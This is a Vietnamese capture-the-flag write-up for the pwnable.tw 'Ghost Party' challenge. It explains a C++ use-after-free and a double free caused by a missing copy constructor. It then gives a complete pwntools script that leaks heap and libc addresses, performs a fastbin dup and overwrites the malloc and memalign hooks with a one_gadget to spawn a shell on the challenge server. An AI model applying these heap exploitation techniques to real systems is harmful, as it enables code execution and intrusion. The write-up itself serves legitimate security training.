pwnable.tw

Ghost Party

Vuln: Vi phạm Rule Of Three trong C++ do thiếu copy constructor, gây double free sau khi pass by value; Gán raw pointer vào thành viên class, pointer được free ngay khi out of scope, gây UAF.

March 7, 2026 Hard

Recon

Mitigation

$ pwn checksec ghostparty
[*] '/home/hungnt/pwnable.tw/ghost-party/ghostparty'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
$ file ghostparty
ghostparty: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f8b76e5bb18a5cf3fea8f3fa414a726b83ac7054, stripped

GLIBC Version

pwndbg> libc
libc: glibc
libc version: 2.23
linked: dynamically
URLs:
    project homepage:       https://sourceware.org/glibc/
    read the source:        https://elixir.bootlin.com/glibc/glibc-2.23/source
    download the archive:   https://ftp.gnu.org/gnu/libc/glibc-2.23.tar.gz
    git clone               https://sourceware.org/git/glibc.git
Mappings:
    libc is at:             0x7ffff7000000
           /home/hungnt/pwnable.tw/ghost-party/libc_64.so.6
    ld is at:               0x7ffff7c00000
           /home/hungnt/pwnable.tw/ghost-party/ld-linux-x86-64.so.2
Symbolication:
    has exported symbols:  yes
    has internal symbols:  yes
    has debug info:        yes

Solve

Bug đầu tiên nằm tại hàm addlightsaber() của Alan:

class Alan : public Ghost {
	public :
		Alan():lightsaber(NULL){
			type = "Alan" ;
		};
		
		Alan(int ghostage,string ghostname,string ghostmsg){
			type = "Alan";
			age = ghostage ;
			name = new char[ghostname.length() + 1];
			strcpy(name,ghostname.c_str());
			msg = ghostmsg ;
		};

		void addlightsaber(string str){ // pass by value -> free when return
			lightsaber = (char*)str.c_str(); // raw pointer assigned?
		}

		void ghostinfo(){
			cout << "Type : " << type << endl ;
			cout << "Name : " << name << endl ;
			cout << "Age : " << age << endl ;	
			cout << "Lightsaber : " << lightsaber << endl ;
		}
		~Alan(){ // empty destructor
		};
	private :
		char *lightsaber ;
};

lightsaber đc gán một raw char pointer đến buffer chứa chuỗi của str. Nhưng str lại được pass by value, nghĩa là tạo một bản sao của str đc truyền vào, vì vậy nó sẽ bị giải phóng khi out of scope. Dẫn đến lightsaber trỏ đến vùng nhớ đã bị free sau khi hàm addlightsaber() kết thúc. Lưu ý là độ dài chuỗi > 15, thì string mới cấp phát vùng nhớ trên heap.

Với bug này mình có thể leak heap và libc. Mình ko thể leak libc ngay lần đầu tiên được dù có tạo string dài > 0x70 ký tự. Bởi vì ngay sau khi addlightsaber() kết thúc:

case 10 :
	{
	string lightsaber ;
	Alan *ghost = new Alan(age,name,message);
	cout << "Your lightsaber : " ;
	cin.ignore();
	getline(cin,lightsaber);
	ghost->addlightsaber(lightsaber);
	smalllist(ghost);
	break ;
	}

Chương trình gọi smallist():

template <class T>
int smalllist(T ghost){ // pass by pointer
	unsigned int choice ;
	cout << "1.Join       " << endl;
	cout << "2.Give up" << endl ;
	cout << "3.Join and hear what the ghost say" << endl ;
	cout << "Your choice : " ;
	cin >> choice ;
	if(!cin.good()){
		cout << "Format error !" << endl ;
		exit(0);
	}

	switch(choice){
		case 1 :
			ghostlist.push_back(ghost);
			cout << "\033[32mThe ghost is joining the party\033[0m" << endl ;
			return 1 ;
			break ;
		case 2 :
			cout << "\033[31mThe ghost is not joining the party\033[0m" << endl ;
			delete ghost ;
			return 0 ;
			break ;
		case 3 :
			ghostlist.push_back(ghost);
			speaking(*ghost);
			cout << "\033[32mThe ghost is joining the party\033[0m" << endl ;
			return 1;
			break ;
		default :
			cout << "\033[31mInvaild choice\033[0m" << endl ;
			delete ghost ;
			return 0 ;
			break ;

	}
}

Tại đây khi mình join thì sẽ push back vào ghostlist. Thế thì cái chunk của str vừa đc free ấy, nó sẽ đc vector dùng làm buffer (vì vector sẽ mở rộng buffer bằng cách cấp phát chunk mới mỗi khi số phần tử vượt quá capacity mà). Nghĩa là sau lần addghost() đầu tiên, lightsaber của Alan chứa địa chỉ đến buffer của vector, với phần tử đầu tiên là trỏ đến Alan.

Lần addghost lần 2, vì chưa cần mở rộng, cho nên str vẫn nằm trong bins, lúc này mới leak đc libc.

Bug thứ 2 nằm tại class Vampire:

class Vampire : public Ghost {
	public :
		Vampire():blood(NULL){
			type = "Vampire" ;
		};
		
		Vampire(int ghostage,string ghostname,string ghostmsg){
			type = "Vampire";
			age = ghostage ;
			name = new char[ghostname.length() + 1];
			strcpy(name,ghostname.c_str());
			msg = ghostmsg ;
			blood = NULL ;
		};

		void addblood(string com){
			blood = new char[com.length()+1];
			memcpy(blood,com.c_str(),com.length());
		}


		void ghostinfo(){
			cout << "Type : " << type << endl ;
			cout << "Name : " << name << endl ;
			cout << "Age : " << age << endl ;	
			cout << "Blood : " << blood << endl ;
		}
		~Vampire(){
			delete[] blood;
		};
	private :
		char *blood ;
};

Cái nó vi phạm ở đây là Rule Of Three trong c++, thiếu mất copy constructor. Vấn đề là khi cần tạo một bản sao (tạo object mới từ object đã có), mặc dù class cha Ghost đã có copy constructor nhưng class Vampire thiếu việc copy blood. Nghĩa là khi cần copy, blood sẽ đc shallow copy, tạo ra 2 references.

Mà khi nào thì tạo copy? Một trong số đó là khi pass by value:

template <class T>
void speaking(T ghost){ // pass by value
	ghost.speak();
};

Mà đã tạo copy thì cần giải phóng khi out of scope. Khi Vampire đc giải phóng, destructor của nó đc gọi, sẽ free blood. Nhưng Vampire gốc vẫn còn trong ghostlist, vẫn còn delete đc:

int rmghost(){
	unsigned int ghostindex ;
	if(ghostlist.size() == 0){
		cout << "\033[31mNo ghost in the party\033[0m " << endl ;
		return 0 ;
	}
	cout << "Choose a ghost which you want to remove from the party : " ;
	cin >> ghostindex ;
	if(ghostindex >= ghostlist.size()){
		cout << "\033[31mInvaild index\033[0m" << endl ;
		return 0 ;
	}
	delete ghostlist[ghostindex];
	ghostlist.erase(ghostlist.begin()+ghostindex);
	return 1;

}

Vậy là double free. Vậy thì mình fastbin dup rồi ghi đè hooks là đc.

Tuy nhiên, vì là C++, có rất nhiều malloc và free ẩn, rất khó để kiểm soát cấp phát đúng vào hook. Mình đã cần phải decompile binary ra dạng C, rồi yêu cầu Claude đánh dấu xem tại những dòng nào có implicit và explicit malloc và free để fengshui cho đúng.

Ấy nhưng mà vẫn ko ăn ngay thế đc, mình thử các kiểu ghi đè hook nhưng kiểu nào setup đc stack:

  • Ghi one gadget thẳng malloc hook.
  • Ghi one gadget vào realloc hook, ghi realloc vào malloc hook.
  • Ghi one gadget vào memalign hook, ghi memalign vào malloc hook.
  • Ghi one gadget vào realloc hook, ghi realloc vào memalign hook, ghi memalign vào malloc hook.
  • Ghi one gadget vào memalign hook, ghi memalign và realloc hook, ghi realloc vào malloc hook.

Chán quá, mình định nghĩ tới việc hay là ghi đè vtable của FILE nào đó đi. Nhưng mình lại thử cho libc vào IDA rồi tìm reference đến memalign hook rồi call nó, thì mình chọn ngẫu nhiên 1 cái:

May làm sao, nó setup đc null vào rsp + 0x70, thế là ngon luôn.

Script

#!/usr/bin/env python3
from pwn import *
import shutil
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
ru = lambda p, x, t=5: p.recvuntil(x, timeout=5)
rl = lambda p, t=5: p.recvline(timeout=t)
rn = lambda p, n, t=5: p.recvn(n, timeout=t)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda l, c: c * l
z = lambda l: l * b'\0'
A = lambda l: l * b'A'

e = context.binary = ELF('./ghostparty_patched', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)

TERMINAL = 0
USE_PTY = False
GDB_ATTACH_DELAY = 1
ALLOW_MEM = 0

_wsl_distro = os.environ.get("WSL_DISTRO_NAME", "Ubuntu")
terms = {
    1: ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"],
    2: ["tmux", "split-window", "-h"],
    3: ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe",
        "-w", "0", "split-pane", "-V", "-s", "0.5",
        "wsl.exe", "-d", _wsl_distro, "bash", "-c"],
}

if TERMINAL == 0:
    if shutil.which("tilix"):
        context.terminal = terms[1]
    elif os.path.exists("/proc/version") and "microsoft" in open("/proc/version").read().lower():
        context.terminal = terms[3]
    elif shutil.which("tmux"):
        context.terminal = terms[2]
    else:
        raise ValueError("Auto-detect failed: none of tilix, wsl2, tmux found")
elif TERMINAL in terms:
    context.terminal = terms[TERMINAL]
else:
    raise ValueError(f"Unknown terminal: {TERMINAL}")

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
# brva 0x5AF0
# brva 0x5CFD
# brva 0x5CAF
# brva 0x5BCB
# brva 0xAF40
# brva 0xAF13
# brva 0x6677
# brva 0x51AC
# brva 0x5032
# brva 0x5006
# brva 0x3A36
# brva 0x5269
# b *__libc_malloc
brva 0x5040
continue
'''

def attach(p):
    if args.GDB:
        gdb.attach(p, gdbscript=gdbscript)
        sleep(GDB_ATTACH_DELAY)

def _mem_limit():
    if ALLOW_MEM > 0:
        import resource
        limit = int(ALLOW_MEM * 1024 ** 3)
        resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

def conn():
    if args.LOCAL:
        if USE_PTY:
            p = process([e.path], stdin=PTY, stdout=PTY, stderr=PTY, preexec_fn=_mem_limit)
        else:
            p = process([e.path], preexec_fn=_mem_limit)
        sleep(0.25)
        return p
    else:
        host = "chall.pwnable.tw"
        port = 10401
        return remote(host, port)

MENU_ADD    = b'1'
MENU_INFO   = b'2'
MENU_REMOVE = b'4'

JOIN        = b'1'
JOIN_SPEAK  = b'3'

VAMPIRE   = b'7'
ALAN      = b'10'

def menu(choice):
    sla(p, b'Your choice :', choice)

def add_ghost(name, age, msg, gtype):
    sla(p, b'Name : ', name)
    sla(p, b'Age : ', str(age).encode())
    sla(p, b'Message : ', msg)
    sla(p, b'Choose a type of ghost :', gtype)

def add_vampire(name, age, msg, blood, join=JOIN):
    menu(MENU_ADD)
    add_ghost(name, age, msg, VAMPIRE)
    sla(p, b'Add blood :', blood)
    sla(p, b'Your choice : ', join)

def add_alan(name, age, msg, lightsaber, join=JOIN):
    menu(MENU_ADD)
    add_ghost(name, age, msg, ALAN)
    sla(p, b'Your lightsaber : ', lightsaber)
    sla(p, b'Your choice : ', join)

def show_info(idx):
    menu(MENU_INFO)
    sla(p, b'Choose a ghost which you want to show in the party : ', str(idx).encode())

def remove_ghost(idx):
    menu(MENU_REMOVE)
    sla(p, b'Choose a ghost which you want to remove from the party : ', str(idx).encode())

def trigger_hooks(name, age, msg):
    menu(MENU_ADD)
    add_ghost(name, age, msg, VAMPIRE)

attempt = 0
while True:
    attempt += 1
    print("\n----------> Attempt", attempt)
    
    p = conn()

    print("Leaking heap address")
    add_alan(b'alan', 1, b'A', A(0x100))
    show_info(0)
    ru(p, b'Lightsaber : ')
    heap_base = leak_bytes(rn(p, 6), 0x12c30)
    lg("heap base", heap_base)

    print("Leaking libc address")
    add_alan(b'alan', 1, b'A', A(0x100))
    show_info(0)
    ru(p, b'Lightsaber : ')
    libc.address = leak_bytes(rn(p, 6), 0x3c3b78)
    lg("libc base", libc.address)

    print("Fastbin dup")
    add_vampire(b'vampire', 1, b'A', A(0x60))
    add_vampire(b'vampire', 1, b'A', A(0x60), JOIN_SPEAK)
    remove_ghost(2)
    remove_ghost(2)

    # Take 1 chunk out of the entry
    add_vampire(b'vampire', 1, b'A', b'A')

    print("Overwriting hooks")
    '''
    0xf0567 execve("/bin/sh", rsp+0x70, environ)
    constraints:
    [rsp+0x70] == NULL
    '''
    one_gadget = libc.address + 0xf0567
    valloc_37 = libc.address + 0x85A85
    chunk_at_fastbins_0x80 = heap_base + 0x12d70
    blood = flat(
        z(0x3),
        one_gadget, # memalign hook
        0,
        valloc_37 # malloc hook
    ).ljust(0x60, b'\0')[:-5] + p64(chunk_at_fastbins_0x80)[:4]

    malloc_hook = libc.symbols['__malloc_hook']
    name = p64(malloc_hook - 0x23).ljust(0x60, b'A')

    attach(p)

    try:
        add_vampire(name, 1, b'A', blood)

        print("Spawn shell")
        trigger_hooks(b'A', 1, b'A')

        sl(p, b'id')
        r = ru(p, b'id')
        if len(r) < 1:
            raise Exception

        ia(p)
        p.close()
        break
    except:
        print("Failed attempt")
        p.close()
        continue